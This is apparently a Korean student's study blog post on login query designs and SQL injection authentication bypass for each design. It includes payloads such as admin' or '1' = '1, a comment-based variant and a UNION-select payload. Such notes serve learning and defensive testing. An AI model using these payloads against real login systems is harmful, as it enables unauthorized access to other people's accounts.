본문 바로가기
공부/해킹 과제

로그인 CASE

by TILDA_16 2023. 4. 18.

로그인 CASE

 

1) 식별과 인증 동시

식별과 인증 동시

DB에 ID와 PW가 모두 일치하는 행이 있으면 로그인에 성공하고, 틀리면 로그인에 실패한다.

 

2) 식별과 인증 분리

식별과 인증 분리

DB에서 ID를 식별하고 PW입력값을 확인해서 일치하면 로그인 성공하고, 틀리면 로그인에 실패한다.

 

3) 식별과 인증 동시 + hash

식별과 인증 동시 + 해시(sha256)

1번의 방법에서 PW를 해시함수로 처리하는 방법이다. 

 

4) 식별과 인증 분리 + hash

식별과 인증 분리 + hash(sha256)

2번의 방법에서 PW를 해시함수로 처리하는 방법이다.

 

5) 식별과 인증 동시 + 개행

식별과 인증 동시 + 개행

1번의 과정에서 Enter가 들어가 있는 경우이다.

 

개행이 들어가면 주석처리를 해놔도 주석은 해당줄만 처리를 하므로 다음줄은 실행이 돼서 의미가 없어진다.

 

CASE별 인증 우회

 

1) 식별과 인증 동시

 

SELECT * FROM user WHERE userid = '$id' and userpassword = '$pw'

 

admin'#

admin' or '1' = '1

admin' or '1' = '1'#

 

2) 식별과 인증 분리

 

union을 사용한 방식으로 Injection을 진행해준다.

 

SELECT * FROM user WHERE userid = '$id'

 

ID : x' union select 'admin', 'admin', 'admin', 'admin'

 

PW : admin 

 

union을 사용하면 쿼리의 개수를 맞춰야 한다.

 

3) 식별과 인증 동시 + hash

 

해시처리와 관계없이 1번과 방식이 똑같다.

 

4) 식별과 인증 분리 + hash

 

2번 과정에서 PW를 hash함수를 적용시켜서 변환한다.

ex) 'union select '로그인할 id', '해시된 pw' #

해시안한 pw

 

5) 식별과 인증 동시 + 개행

 

SELECT * FROM user WHERE userid = '$id' and userpassword = '$pw'

 

이러한 구문이지만 개행이 돼있으므로 주석처리를 하지 않은 방법을 사용해야 한다.

 

admin' or '1' = '1

'공부 > 해킹 과제' 카테고리의 다른 글

Error Based SQL Injection  (0) 2023.04.21
Union SQL Injection  (0) 2023.04.21
SQL  (0) 2023.04.14
인증 우회 케이스  (0) 2023.04.10
로그인 인증  (0) 2023.04.07